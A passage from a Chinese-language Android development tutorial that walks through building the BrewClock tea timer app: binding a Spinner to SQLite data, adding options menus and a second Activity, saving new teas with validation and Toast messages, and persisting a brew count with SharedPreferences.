/>\n\n</LinearLayout>\n\n```\n\n在BrewClockActivity类里面,增加一个成员变量指向Spinner，通过使用findViewById连接界面上的控件：\n\n\n\n```\n\n// src/com/example/brewclock/BrewClockActivity.java\nprotected Spinner teaSpinner;\nprotected TeaData teaData;\n\n// …\n\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n  teaData = new TeaData(this);\n  teaSpinner = (Spinner) findViewById(R.id.tea_spinner);\n}\n\n```\n\n运行你的程序以确保新的界面正确地生效。你应该在泡茶计数器下看见一个空白的弹出式菜单（或者是Spinner)。如果点击spinner，Android将显示一个弹出式的菜单并为你提供选择列表。在这时，菜单的内容因该是空的，现在让我们来绑定Spinner和我们的茶叶数据库。\n\n\n![](../wp-content/uploads/2011/04/3_blank_spinner.jpg \"3_blank_spinner\")\n\n\n#### 数据绑定\n\n\n当Android从数据库中查询数据时，它将会返回一个游标Cursor对象。Cursor代表了来自数据库的结果集，并可以移动游标来提取结果中的数据。使用一类Android提供的称为“适配器Adapter”的类，我们很容易将这个结果集绑定到Spinner上。适配器完成了提取数据库结果集中的数据并在界面上显示这些数据等这些复杂而困难工作。\n\n\n在我们的TeaData.all()方法中已经可以返回一个带有tea表内容的游标，使用这个游标，我们所需要做的工作就是创建一个SimpleCursor适配器来绑定我们的teaSpinner，Android会负责处理将数据显示在spinner的列表中。\n\n\n通过创建一个SimpleCursorAdapter类来连接Spinner与teaData.all()返回的游标：\n\n\n\n```\n\n// com/example/brewclock/BrewClockActivity.java\n\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n  Cursor cursor = teaData.all(this);\n\n  SimpleCursorAdapter teaCursorAdapter = new SimpleCursorAdapter(\n    this,\n    android.R.layout.simple_spinner_item,\n    cursor,\n    new String[] { TeaData.NAME },\n    new int[] { android.R.id.text1 }\n  );\n\n  teaSpinner.setAdapter(teaCursorAdapter);\n  teaCursorAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);\n}\n\n\n```\n\n注意，我们使用了Android内建的android.R对象。这个对象提供了你的应用程序中的默认资源，例如视图和布局。在我们的代码中，我们使用了android.R.layout.simple\\_spinner\\_item，它是简单的文本标签布局。\n\n\n如果你再次运行的应用程序，你将会看到spinner中仍然是空的！虽然我们已经连接了我们的数据库，但是由于数据库中没有任何记录，所以我们任何看到了空列表。\n\n\n我们通过在构造方法中增加一些默认记录来让用户可以选择所需要的茶叶，为了避免重复记录，我们只有在数据库中记录为0的情况才增加默认记录。在本教程的代码中，我们使用前面增加的count()来检查数据库中表记录是否为空。\n\n\n增加当数据库中表为空的默认记录代码。把这些代码增加从数据库提取茶叶数据的前面（译者注：上一段的代码前）。\n\n\n\n```\n\n// com/example/brewclock/BrewClockActivity.java\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n\n  // Add some default tea data! (Adjust to your preference :)\n  if(teaData.count() == 0) {\n    teaData.insert(\"Earl Grey\", 3);\n    teaData.insert(\"Assam\", 3);\n    teaData.insert(\"Jasmine Green\", 1);\n    teaData.insert(\"Darjeeling\", 2);\n  }\n\n  // Code from the previous step:\n  Cursor cursor = teaData.all(this);\n\n  // …\n}\n\n\n```\n\n现在再次运行你的应用程序。你将会发现茶叶Spinner有了一条选择。点击Spinner让你可以从数据库选择你要的茶叶。\n\n\n![](../wp-content/uploads/2011/04/4_populated_spinner.jpg \"4_populated_spinner\")\n\n\n恭喜你！你已经成功关联了你的界面和代码。这是任何软件开发过程中一个非常重要的方面。正如你所看见的，Android将这一步简化的非常容易，但是功能有是非常的NB。使用游标和适配器，你可以将数据源（丛简单的字符串数组到复杂的数据库查询）绑定到任何类型的视图：spinner或列表，设置是类似iTunes cover-flow gallery!\n\n\n虽然现在已经可以开始泡茶了，但是我们工作还远没有结束。当你从Spinner选择了不同的茶，这个选择却不会发生任何作用。我们需要根据用户所选茶叶的种类取更新我们的泡茶时间。\n\n\n#### 读取选中茶叶数据并更新泡茶时间\n\n\n为了能读取用户从数据库中选择茶叶的数据，我们必须增加一个针对此事件的监听器。类似于处理按钮点击事件的OnClickListener监听器一样，我们将实现一个OnItemSelectedListener。当用户从视图中做出一个选择的事件将触发这个监听器，例如从我们的Spinner。\n\n\n在BrewClockActivity中增加需要实现的接口OnItemSelectedListener。并增加其响应的处理方法onItemSelected()和onNothingSelected()：\n\n\n\n```\n\n// src/com/example/brewclock/BrewClockActivity.java\npublic class BrewClockActivity extends Activity implements OnClickListener, OnItemSelectedListener {\n  // …\n  public void onItemSelected(AdapterView<?> spinner, View view, int position, long id) {\n    if(spinner == teaSpinner) {\n      // Update the brew time with the selected tea’s brewtime\n      Cursor cursor = (Cursor) spinner.getSelectedItem();\n      setBrewTime(cursor.getInt(2));\n    }\n  }\n\n  public void onNothingSelected(AdapterView<?> adapterView) {\n    // Do nothing\n  }\n}\n\n\n```\n\n在这里我们要检查是触发的spinner此事件是不是BrewClock的teaSpinner。如果是，我们将提取代表选中记录的游标对象。这些都是由关联teaData和Spinner的SimpleCursorAdapter来提供我们完成的。Android知道哪个查询产生的Spinner数据，也知道用户选择的哪个数据。Android使用游标来返回数据库的一行记录，也代表了用户所选择的茶叶数据。\n\n\nCursor的getInt()方法带了一个我们想提取的列的下标为参数。在我们的teaData.all()方法中创建游标的时候，我们读取的列是\\_ID,NAME和BREW\\_TIME。假设我们在teaSpinner中选择的是Jasmine Tea，那么将返回我们所选数据所对应的数据库记录。\n\n\n然后我们再通过传递参数2来选择此记录的第二列的整型值。这个值提供给setBrewTime()方法。这个方法用于更新界面上的泡茶时间。\n\n\n最后，我们需要告诉teaSpinner BrewClockActivity正在监听OnItemSelected事件。在BrewClockActivity的onCreate方法中增加下面的代码：\n\n\n\n```\n\n// src/com/example/brewclock/BrewClockActivity.java\npublic void onCreate() {\n  // …\n  teaSpinner.setOnItemSelectedListener(this);\n}\n\n```\n\n大功告成！再次运行你的程序，并从Spinner选择不同的茶叶。每次你所选的茶叶它所对应的泡茶时间都回显示对应的界面上。我们余下的代码中已经可以处理从当前时间开始递减计数。所以在有预先设置的茶叶种类下，我们已经可以完成我们所想要的功能。\n\n\n你当然可以，回到之前的代码中去增加一些茶叶种类你满足你的口味。但是如果你发布BrewClock程序到Android Market，每当有人向增加新的茶叶数据到数据库中，我就需要去手动的取更新数据中的内容并重新发布它；这样所有的人就必须去更新它，并且所有的人都有一个同样的列表。这听起来非常的不灵活，因此我们还有很多的工作需要完成！\n\n\n![](../wp-content/uploads/2011/04/5_default_teas.jpg \"3_blank_spinner\")\n\n\n如果用户自己有方法新增茶叶种类到数据库里面，将会非常的不错的做法。因此我们将在下一章继续。。。\n\n\n### Activity 介绍\n\n\n和你应用程序中每个屏幕关联的代码就是Activity。每次当你从一屏切换到另外一屏，Android就会创建一个新的Activity。在真实世界中，虽然一个应用程序经常由多个屏幕/Activity构成，Andriod却将每个屏幕看作独立的个体。多个Activity工作在一起形成一种关联的体验，这是因为Android让你非常容易地在屏幕/Activity之间传递数据。\n\n\n在本节最后，你将为你的应用程序新增一个新的Activity（AddTeaActivity）并将它注册到Android系统中。你还需要从最初的BrewClockActivity传递数据到新的Activity中。\n\n\n首先，我们需要给用户一种方式切换到新的Activity上。我们将使用选项菜单来完成之一步。\n\n\n#### 选项菜单\n\n\n当用户他们的设备上的“Menu”按键时，选项菜单以弹出菜单的形式出现。Android负责菜单的自动创建和显示；你只需要告诉Android，菜单显示什么内容和当用户点击菜单时该做什么就行。\n\n\n然而,最好不要在代码中硬编码菜单的标题，我们可以使用Android的字符串资源。字符串资源是一个独立的文件，在这个文件中你可以维护所有用于用户阅读的字符串和标签资源，并可以在代码调用它们。这就意味着当你在未来需要修改字符串时，你只要修改这一处地方即可。.\n\n\n在project explorer中导航到“res/values”下，你将会看到string.xml文件已经存在。这个是你再创建新项目的时候由Eclipse创建的，这文件存放着在整个应用程序我们将要使用的字符串。\n\n\n双击打开*strings.xml* ,通过窗口底部的选项页切换到XML 视图。\n\n\n在<resources>…</resources> 元素中增加下面的内容:\n\n\n\n```\n\n\n<!-- res/values/strings.xml -->\n  <resources>\n    <!-- … -->\n    <string name=\"add_tea_label\">Add Tea</string>\n  </resources>\n\n\n\n```\n\n我们在这里定义了一个字符串，add\\_tea\\_label和它关联的文本，我们可以在整个程序代码中通过add\\_tea\\_label来使用其关联的文本。如果标签因为某个原因需要修改，我们只需要在这个文件修改这一个地方就能完成整个程序的修改。\n\n\n下一步，让我们创建一个新文件完成选项菜单的定义，如果字符串和布局一样，菜单也使用XML来定义。因此我们将在Eclipse中川建一个新的XML文件：\n\n\n通过选择File → New → Other, 并选择“Android XML File.”在Eclipse中创建一个新的XML文件。\n\n\n选择资源的类型为 “Menu”，保存文件名为main.xml。Eclipse将为你自动的创建一个目录*res/menu*, 来存放你的菜单文件。\n\n\n![](../wp-content/uploads/2011/04/7_new_menu_xml.jpg)\n\n\n打开*res/menus/main.xml* 文件, 通过窗口底部的“main.xml”选项页来切换到XML视图。\n\n\n增加菜单项， add\\_tea。\n\n\n\n```\n\n<!-- res/values/strings.xml -->\n  <resources>\n    <!-- … -->\n    <string name=\"add_tea_label\">Add Tea</string>\n  </resources>\n\n```\n\n注意android:title 属性被设置为@string/add\\_tea\\_label。这告诉Android在我们的strings.xml文件中查找add\\_tea\\_label并返回相关联的标签内容。在本列中我们的菜单项的标签时“Add Tea”。\n\n\n下一步，我们将告诉我们的Activity，当用户点击设备上的“memu”按键时来显示这个选项菜单。\n\n\n返回*BrewClockActivity.java*代码, 重载onCreateOptionsMenu 方法,这个方法告诉Android 当用户点击“Menu”按键时，装载我们的菜单：\n\n\n\n```\n\n// src/com/example/brewclock/BrewClockActivity.java\n@Override\npublic boolean onCreateOptionsMenu(Menu menu) {\n  MenuInflater inflater = getMenuInflater();\n  inflater.inflate(R.menu.main, menu);\n\n  return true;\n}\n\n\n```\n\n当用户点击他设备上的“Menu”按键时，Android将调用onCreateOptionsMenu。在这个方法中，我们创建了一个MenuInflater, 这个对象将从你的应用程序包中装载你的菜单资源。就如同按钮和文本域组成你的应用程序布局一样，main.xml资源也是通过全局对象R来生效的，因此我们将此对象提交给MenuInflater对象。\n\n\n为了测试菜单，保存并在模拟器中并运行应用程序。当程序运行起来使，点击“Menu”按键，你将会看到一个弹出式的菜单显示了一个“Add Tea”选项。\n\n\n![](../wp-content/uploads/2011/04/8_add_teas_options_menu.jpg)\n\n\n如果你点击“Add Tea”选项，Android自动地检测到点击并关闭菜单。在后台，Android将会提醒应用程序选项已经被点击。\n\n\n#### 处理菜单点击\n\n\n当用户点击 “Add Tea” 菜单选项，我们想要显示一个新的Activity以便我们能进入增加新茶叶种类的界面。通过选择File → New → Class来创建一个的Activiy。\n\n\n![](../wp-content/uploads/2011/04/9_new_activity_settings.jpg)\n\n\n将新类命名为 AddTeaActivity,并确保它继承于android.app.Activity类。这个类也放在com.example.brewclock包中:\n\n\n\n```\n\n// src/com/example/brewclock/AddTeaActivity.java\npackage com.example.brewclock;\n\nimport android.app.Activity;\nimport android.os.Bundle;\n\npublic class AddTeaActivity extends Activity {\n  @Override\n  public void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n  }\n}\n\n\n```\n\n上面样例中的空白Activity将不会完成任何工作。但是通过它，我们已经可以完成选项菜单的功能。\n\n\n在BrewClockActivity增加一个重载方法onOptionsItemSelected 。当用户点击菜单项时，这个方法被Android调用。 (注意点击的MenuItem为它的接收参数：\n\n\n\n```\n\n// src/com/example/brewclock/BrewClockActivity.java\n@Override\npublic boolean onOptionsItemSelected(MenuItem item) {\n  switch(item.getItemId()) {\n    case R.id.add_tea:\n      Intent intent = new Intent(this, AddTeaActivity.class);\n      startActivity(intent);\n      return true;\n\n    default:\n      return super.onOptionsItemSelected(item);\n  }\n}\n\n\n\n```\n\n通过上面的代码，我们告诉Android，当“Add Tea”被点击的时候，我们将要创建一个的Activity；在本教程中，就是AddTeaActivity。然而，不要直接创建这个类的实例，注意我们使用了Intent。Intent有着Android框架的强大特性；他们将Activity绑定在一起来组成应用程序，并允许在他们之间相互传递数据。\n\n\nIntent的优点甚至让你的应用程序可以使用用户安装的其他的应用程序。例如，当用户要从图库里面显示一张图片，Android自动地给显一个对话框来让用户选择应用程序来显示图片。任何注册为可以处理图片显示的应用程序都会出现在这个对话框的列表中。\n\n\nIntent功能强大而复杂的主体, 因此它值得你从官方的文档[official Android SDK documentation](http://developer.android.com/guide/topics/intents/intents-filters.html)中仔细研究。\n\n\n让我们运行我们的应用程序，以测试我们的“Add Tea”屏幕。\n\n\n运行你的项目，按下Menu按键，并点击 “Add Tea.”。\n\n\n不如你预期的，你并没有看到 “Add Tea” Activity，出现在你面前的是一个Android开发者经常看到的对话框：\n\n\n![](../wp-content/uploads/2011/04/10_crash.jpg)\n\n\n虽然我们创建了一个Intent并告诉Android启动我们的AddTeaActivity Activity, 由于我们没有将这个Activity注册到Android系统中，我们的应用程序最终还是crash掉了。系统不知道从哪里去找到我们试图运行的Activity（应该还记得Intent可以启动安装在设备上的任何Activity吧）。让我们在应用程序的mainfest文件来注册这些Acitivity。\n\n\n打开应用的manifest文件，在Eclipse中的AndroidManifest.xml。通过窗口底部的“AndroidManifest.xml”选项页切换到xml视图\n\n\n应用程序的mainfest文件是保存你应用程序全局设置和信息的地方。你将会看见里面已经有一个.BrewClockActivity 的Activity声明，并且这个Activity在程序运行的时候启动。\n\n\n在<application>中, 增加一个 <activity> 节点，描述为“Add Tea”的 Activity. 使用我们早先在strings.xml声明的 add\\_tea\\_label字符串作为这个Activity的标题：\n\n\n\n```\n\n<!-- AndroidManifest.xml -->\n<application …>\n  …\n  <activity android:name=\".AddTeaActivity\" android:label=\"@string/add_tea_label\" />\n</application>\n\n```\n\n在你再次运行BrewClock保存这个manifest文件。这一次，当你打开菜单并点击“Add Tea,”时Android将会启动AddTeaActivity。按下back按键返回主屏幕。\n\n\n完成了Activity的关联，下一步我们将要开发一个增加新茶的界面！\n\n\n### 开发茶叶编辑器界面\n\n\n开发一个增加茶叶界面和上一个教程中开发的BrewClock主界面是非常相似的。首先要创建一个布局文件，然后在按照下面的讲解添加适合的XML内容。\n\n\n和主界面开发所有不同的是，你可以使用Android最近改进的Eclipse布局编辑器来开界面。创建一个新的XML文件来定义你的布局。从菜单File → New然后选择 “Android XML File,” 选择 “Layout”类型。并将文件命令为*add\\_tea.xml*。\n\n\n![](../wp-content/uploads/2011/04/11_new_layout_xml.jpg)\n\n\n用下面的布局内容替换*add\\_tea.xml* 文件的内容：\n\n\n\n```\n\n<!-- res/layouts/add_tea.xml -->\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout\n  xmlns:android=\"http://schemas.android.com/apk/res/android\"\n  android:layout_width=\"fill_parent\"\n  android:layout_height=\"fill_parent\"\n  android:orientation=\"vertical\"\n  android:padding=\"10dip\">\n\n  <TextView\n    android:text=\"@string/tea_name_label\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"wrap_content\" />\n\n  <EditText\n    android:id=\"@+id/tea_name\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"wrap_content\"/>\n\n  <TextView\n    android:text=\"@string/brew_time_label\"\n    android:layout_width=\"wrap_content\"\n    android:layout_height=\"wrap_content\"/>\n\n  <SeekBar\n    android:id=\"@+id/brew_time_seekbar\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"wrap_content\"\n    android:progress=\"2\"\n    android:max=\"9\" />\n\n  <TextView\n    android:id=\"@+id/brew_time_value\"\n    android:text=\"3 m\"\n    android:textSize=\"20dip\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"wrap_content\"\n    android:gravity=\"center_horizontal\" />\n</LinearLayout>\n\n\n```\n\n为了这个界面上使用的字符串，我们同样也需要在*strings.xml* 中增加一些新的内容：\n\n\n\n```\n\n<!-- res/values/strings.xml -->\n<resources>\n  <!-- … -->\n  <string name=\"tea_name_label\">Tea Name</string>\n\n  <string name=\"brew_time_label\">Brew Time</string>\n</resources>\n\n\n```\n\n在这个布局中，我们加了一个新的界面控件类型，SeekBar。这个控件可以让用户通过从左向右拖拉一个指示器thumb，非常容易的指定泡茶时间。这个值得范围从0到android:max。\n\n\n在这个界面中，我们使用刻度是0到9，意思是从1分钟到10分钟（泡0分钟茶等于是浪费好茶）。第一，我们需要确保AddTeaActivity能正确地加载我们的界面:\n\n\n在Activity的onCreate()方法中增加下面的代码用于加载和显示add\\_tea布局文件：\n\n\n\n```\n\n// src/com/example/brewclock/AddTeaActivity.java\npublic void onCreate(Bundle savedInstanceState) {\n  super.onCreate(savedInstanceState);\n  setContentView(R.layout.add_tea);\n}\n\n\n```\n\n现在通过运行项目来测试你的应用程序，按下“Menu”按键，并点击“Add Tea”菜单。\n\n\n![](../wp-content/uploads/2011/04/12_add_tea_interface.jpg)\n\n\n你将从“Add Tea”屏幕上看到你的新界面。你可以在文本域中输入文字和从左到右拖动SeekBar。但是由于我们没有增加相关代码，这个界面并没有实现什么具体的功能。\n\n\n在AddTeaActivity中增加下面这些属性，并关联到我们界面上元素：\n\n\n\n```\n\n// src/com/example/brewclock/AddTeaActivity.java\npublic class AddTeaActivity {\n  // …\n\n  /** Properties **/\n  protected EditText teaName;\n  protected SeekBar brewTimeSeekBar;\n  protected TextView brewTimeLabel;\n\n  // …\n\n\n```\n\n下一步,关联属性和你的界面：\n\n\n\n```\n\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n  // Connect interface elements to properties\n  teaName = (EditText) findViewById(R.id.tea_name);\n  brewTimeSeekBar = (SeekBar) findViewById(R.id.brew_time_seekbar);\n  brewTimeLabel = (TextView) findViewById(R.id.brew_time_value);\n}\n\n\n```\n\n界面非常的简单，我们只要增加相应SeekBar 改变事件的监听器。当用户从左到右移动SeekBar指示器时，我们的应用程序需要读出新值并更新SeekBar之下泡茶时间标签的内容。我们将使用一个监听器来检测SeekBar何时改变的：\n\n\n在AddTeaActivity类声明中增加实现 onSeekBarChangedListener接口，并添加所必要的方法：\n\n\n\n```\n\n// src/com/example/brewclock/AddTeaActivity.java\npublic class AddTeaActivity\nextends Activity\nimplements OnSeekBarChangeListener {\n  // …\n\n  public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {\n    // TODO Detect change in progress\n  }\n\n  public void onStartTrackingTouch(SeekBar seekBar) {}\n\n  public void onStopTrackingTouch(SeekBar seekBar) {}\n}\n\n\n```\n\n我们唯一感兴趣的事件时onProgressChanged，因此我们需要在这个方法内增加代码更新泡茶时间标签的内容为SeekBar选中的值。之前我们说过SeekBar的刻度是0到9，因此我们需要将SeekBar的加1的值来显示给用户才有意义。\n\n\n在*AddTeaActivity.java*代码中增加如下的onProgressChanged()代码：\n\n\n\n```\n\n// src/com/example/brewclock/AddTeaActivity.java\npublic void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {\n  if(seekBar == brewTimeSeekBar) {\n    // Update the brew time label with the chosen value.\n    brewTimeLabel.setText((progress + 1) + \" m\");\n  }\n}\n\n\n```\n\n在AddTeaActivity的onCreate方法中设置监听器：\n\n\n\n```\n\n// src/com/example/brewclock/AddTeaActivity.java\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n\n  // Setup Listeners\n  brewTimeSeekBar.setOnSeekBarChangeListener(this);\n}\n\n\n```\n\n现在运行你的程序，并拖动SeekBar,泡茶时间标签的内容将会同步更新为正确地值：\n\n\n![](../wp-content/uploads/2011/04/13_seekbar.jpg)\n\n\n#### 保存新增茶叶\n\n\n完成了增加茶叶界面之后,剩下的工作就是让用户可以将他们新增的茶叶保存到数据库中.我们将会对界面上输入数据增加一点校验,以避免茶叶名为空的数据被保存到数据库中！\n\n\n在编辑器中打开*strings.xml* 增加一些我们在应用程序将要使用到的新标签。\n\n\n\n```\n\n<!-- res/values/strings.xml -->\n<string name=\"save_tea_label\">Save Tea</string>\n<string name=\"invalid_tea_title\">Tea could not be saved.</string>\n\n<string name=\"invalid_tea_no_name\">Enter a name for your tea.</string>\n\n\n\n```\n\n如同前面的那样，我们需要为AddTeaActivity创建一个新的选项菜单来让用户可以执行保存茶叶的指令：\n\n\n在*res/menus* 目录，通过选择File → New 并选 Other → Android XML 文件来创建一个新的 *add\\_tea.xml* XML文件, 记住资源类型为“Menu”。\n\n\n增加保存茶叶的菜单项：\n\n\n\n```\n\n\n<!-- res/menus/add_tea.xml -->\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<menu xmlns:android=\"http://schemas.android.com/apk/res/android\">\n  <item android:title=\"@string/save_tea_label\" android:id=\"@+id/save_tea\" />\n</menu>\n\n\n\n```\n\n返回 AddTeaActivity 代码中,类似你在BrewClockActivity中一样，增加重载方法onCreateOptionsMenu 和onOptionsItemSelected。唯一的区别是这次你提供的MenuInflater的资源文件名是*add\\_tea.xml* ：\n\n\n\n```\n\n// src/com/example/brewclock/AddTeaActivity.java\n@Override\npublic boolean onCreateOptionsMenu(Menu menu) {\n  MenuInflater inflater = getMenuInflater();\n  inflater.inflate(R.menu.add_tea, menu);\n\n  return true;\n}\n\n@Override\npublic boolean onOptionsItemSelected(MenuItem item) {\n  switch(item.getItemId()) {\n    case R.id.save_tea:\n      saveTea();\n\n    default:\n      return super.onOptionsItemSelected(item);\n  }\n}\n\n\n```\n\n下一步, 增加新方法, saveTea(), 来保存茶叶信息。saveTea 首先从界面上读取茶叶的名称和用户所选的泡茶时间，如果这些输入数据都能通过验证，就将这些数据保存到数据库中：\n\n\n\n```\n\n// src/com/example/brewclock/AddTeaActivity.java\npublic boolean saveTea() {\n  // Read values from the interface\n  String teaNameText = teaName.getText().toString();\n  int brewTimeValue = brewTimeSeekBar.getProgress() + 1;\n\n  // Validate a name has been entered for the tea\n  if(teaNameText.length() < 2) {\n    AlertDialog.Builder dialog = new AlertDialog.Builder(this);\n    dialog.setTitle(R.string.invalid_tea_title);\n    dialog.setMessage(R.string.invalid_tea_no_name);\n    dialog.show();\n\n    return false;\n  }\n\n  // The tea is valid, so connect to the tea database and insert the tea\n  TeaData teaData = new TeaData(this);\n  teaData.insert(teaNameText, brewTimeValue);\n  teaData.close();\n\n  return true;\n}\n\n\n\n```\n\n大段的代码，让我们过一遍这段代码的逻辑。\n\n\n首先，我们从文本框中读取茶叶名称，从SeekBar读取泡茶时间（记着读的时间要加1以保证时间在1到10分钟之内）。下一步，我们验证茶叶名大于等于2个字符（这是非常简单的验证，如果想做更复杂的验证，那么就使用正则表达式吧）。\n\n\n如果茶叶名称非法，我们需要让用户知道。我们使用Android提供的工具类，AlertDialog.Biulder类，这个类给我们提供了一个快捷创建和显示模态窗口的方法。在设置完标题和错误信息后，通过调用show方法来显示对话框。这个对话框是模态的modal，因此用户只有按下back按键，这个对话框才会关闭。在这时，我们不想保存任何数据，所以我们的方法返回了false。\n\n\n如果茶名称合法，我们通过TeaData类创建一个到茶叶数据库的临时连接。这里又一次的显示出把数据库访问抽象成一个独立文件的好处：你可以从任何地方完成对数据库（译者注：其实应该是对TeaData 类）的访问。\n\n\n当调用完teaData.insert() 来增加记录到数据库后，我们不再需要数据库连接，因此在我们返回成功前，我们关闭了连接。\n\n\n在模拟器中运行你的程序，按下“Menu”按键，点击屏幕上的“Add Tea”。试图通过在此按下“Menu”和点击屏幕的 “Save Tea.”来保存空茶叶名的茶叶数据。由于是没有茶叶名，一条错误消息将出现在你的面前：\n\n\n![](../wp-content/uploads/2011/04/14_invalid_tea.jpg)\n\n\n下一步，试着键入你的茶叶名，并选择合适的泡茶时间，再次从菜单选择 “Save Tea” 。这一次，你将不在看到错误的消息。事实上，你什么都看消息不到。\n\n\n#### 改进用户体验\n\n\n这样做不是一个很好的用户体验，用户不能知道他的茶叶是否已经成功地保存了。事实上，用户只有从“Add Tea”界面返回，去茶叶列表中查看这一个办法来检查他的是否成功的被保存。这样的做法不好，让用户知道他们的茶叶数据被成功地保存会是更好的一种方式。在茶叶数据被成功保存后，让我们在屏幕上显示一条成功信息。\n\n\n我们要一条被动的非模态化的信息，因此AlertDialog这次就不能满足我们的需求了。下面我们将要使用另外一个Android的非常流行的特性，Toast。\n\n\nToast 在接近屏幕的下方显示一条消息，但是并不会终止用户的操作。Toast经常用于做非重要的的提醒和状态更新。.\n\n\n在*strings.xml* 资源文件中新增一个字符串。注意字符串中的%s。我们在下一步中将保存的茶叶名字结合到这个字符串来显示信息。\n\n\n\n```\n\n<!-- res/values/strings.xml -->\n<string name=\"save_tea_success\">%s tea has been saved.</string>\n\n```\n\n注意，在onOptionsItemSelected 代码中进行修改，当saveTea返回真时，创建并显示一条弹出式的Toast。第二参数getString()用来连接茶叶名称到Toast信息中。最后，我们需要将茶叶名称清楚，以便用户可以快速增加更多的新茶。\n\n\n\n```\n\n// src/com/example/brewclock/AddTeaActivity.java\n// …\nswitch(item.getItemId()) {\n case R.id.save_tea:\n   if(saveTea()) {\n     Toast.makeText(this, getString(R.string.save_tea_success, teaName.getText().toString()), Toast.LENGTH_SHORT).show();\n     teaName.setText(\"\");\n   }\n// …\n\n```\n\n现在，重新运行应用程序，并增加和保存一些新茶叶。你将会看到弹出式的Toast并让你知道你的茶叶信息已经被保存成功。getString()方法用于连接存在XML文件中的String和茶叶名称，并将%s替换成茶叶的名称。\n\n\n![](../wp-content/uploads/2011/04/16_valid_save.jpg)\n\n\n按下“Back”按键，返回应用程序的主屏幕，点击茶叶spinner。你新增的在数据库中的茶叶已近可以显示在spinner的选项中！\n\n\n### 用户首选项\n\n\n现在BrewClock已经完成了所有的功能。用户可以增加他们喜爱的茶叶和各自不同的泡茶时间到数据库中，并且他们可以快速的从选择他们并开始泡上一杯新茶。任何新增的茶叶信息都被保存在数据库中，因此，即使你退出你的程序，这些茶叶信息在你下次启动程序时仍然可以从spinner列表中找到。\n\n\n当你重启BrewClock的时候，有一件事你必须注意，就是泡茶计数被清为了0。这使得跟踪我们每天喝了多少茶（一条重要的数据）变得困难。作为最后一个练习，让我们将泡茶计数保存在我们设备上。\n\n\n我们将不通过增加茶叶数据库的表来完成这个功能，我们将使用Android的“共享首选项Shared Preferences”，一个Android提供给你应用程序用于存储简单数据的数据库（字符串，数字，等等）。例如，优秀的最高分和用户首选项等（译者注：非常类似Windows下的注册表）。\n\n\n我们首先在*BrewClockActivity.java* 中增加一堆常量。这些常量用于存放你的共享首选项的名称。我们将使用键的名称来访问泡茶计数。Android负责保存和持久化我们的共享首选项文件。\n\n\n\n```\n\n\n// src/com/example/brewclock/BrewClockActivity.java\n\nprotected static final String SHARED_PREFS_NAME = \"brew_count_preferences\";\n\nprotected static final String BREW_COUNT_SHARED_PREF = \"brew_count\";\n\n\n```\n\n下一步，为了我们能在用户首选项中读写泡茶计数，而不是直接的依赖于代码中的初始值，我们将在代码中做一些修改。在BrewClockActivity 的 onCreate 方法中我们将就该setBrewCount附件的代码：\n\n\n\n```\n\n// src/com/example/brewclock/BrewClockActivity.java\npublic void onCreate() {\n  // … \n\n  // Set the initial brew values\n  SharedPreferences sharedPreferences = getSharedPreferences(SHARED_PREFS_NAME, MODE_PRIVATE);\n  brewCount = sharedPreferences.getInt(BREW_COUNT_SHARED_PREF, 0);\n  setBrewCount(brewCount);\n\n  // …\n}\n\n\n```\n\n这里我们将以使用SharedPreference来获取应用程序的共享首选项的实例，并希望得到brew\\_count键值的值（通过我们之前定义的BREW\\_COUNT\\_SHARED\\_PREF常量来标示）。如果值能获取，这个值将返回给应用程序，如果没有我们使用getInt的第二参数作为默认值返回（在教程中为0）。\n\n\n现在我们取得存储的泡茶计数值，我们需要确保每当泡茶计数更新的时候，这个值能写回到共享首选项中。\n\n\nBrewClockActivity的setBrewCount中增加下面的代码：\n\n\n\n```\n\n// src/com/example/brewclock/BrewClockActivity.java\n public void setBrewCount(int count) {\n   brewCount = count;\n   brewCountLabel.setText(String.valueOf(brewCount));\n\n   // Update the brewCount and write the value to the shared preferences.\n   SharedPreferences.Editor editor = getSharedPreferences(SHARED_PREFS_NAME, MODE_PRIVATE).edit();\n   editor.putInt(BREW_COUNT_SHARED_PREF, brewCount);\n   editor.commit();\n }\n\n\n\n```\n\n共享首选项不能直接地保存。我们需要使用Android的SharedPreferences.Editor类。调用SharedPreferences的edit方法，返回一个editor实例，这个实例用来保存我们的首选项值。我们只要调用editor实例的commit方法就可以将值保存到共享首选项中。\n\n\n我们应用程序的所有代码都已完成，现在让我们测试一下我们的程序！\n\n\n在模拟器中运行应用程序，定一个泡茶时间（这真是一个良好的借口去泡一杯你自己爱喝的茶哦）并退出应用程序，试着运行模拟器上的安装的其他应用程序确保BrewClock被终止。记住，除非这个应用程序已经不在内存中，否则Android不会终止一个Activity。\n\n\n当你下一次运行你的应用程序时，你将看见之前的泡茶计数已经被维护了。\n\n\n### 总结\n\n\n恭喜!你已经完成了这个应用的程序的所有开发工作,并使用了Android　SDK中的数个核心组件。在本教程中，你从中学到了：\n\n\n* 创建一个简单的SQLite数据库，并保存你的数据；\n* 使用Android的数据库类和编写客户化类抽象数据访问；\n* 在你的应用程序中增加选项菜单。；\n* 在你应用程序中创建并注册新Activity并使用Intent将他们绑定成一组界面；\n* 使用内建的“共享首选项”数据库来保存和提取简单用户数据。\n\n\n无论你要开发神马样类型的应用程序，数据存储和持久化是一个重要的主题。从工具程序和业务工具到3-D游戏，几乎每个应用程序都需要使用到Android提供的数据工具类。\n\n\n![](../wp-content/uploads/2011/04/17_brew_up.jpg)\n\n\n#### Activities\n\n\n虽然BrewClock现在在某方面来说已经是个功能完善的应用程序了。但是我们仍然可以在增加一些功能以改进用户体验。例如你可以使用下面的方法来改进你的应用程序：\n\n\n* 在保存茶叶的时候检查是否存在茶叶名称重名；\n* 增加一个菜单选项以将泡茶统计清0；\n* 在共享首选项中保存最后所选的泡茶名称和时间以便程序重启时有一个有意义的默认值；\n* 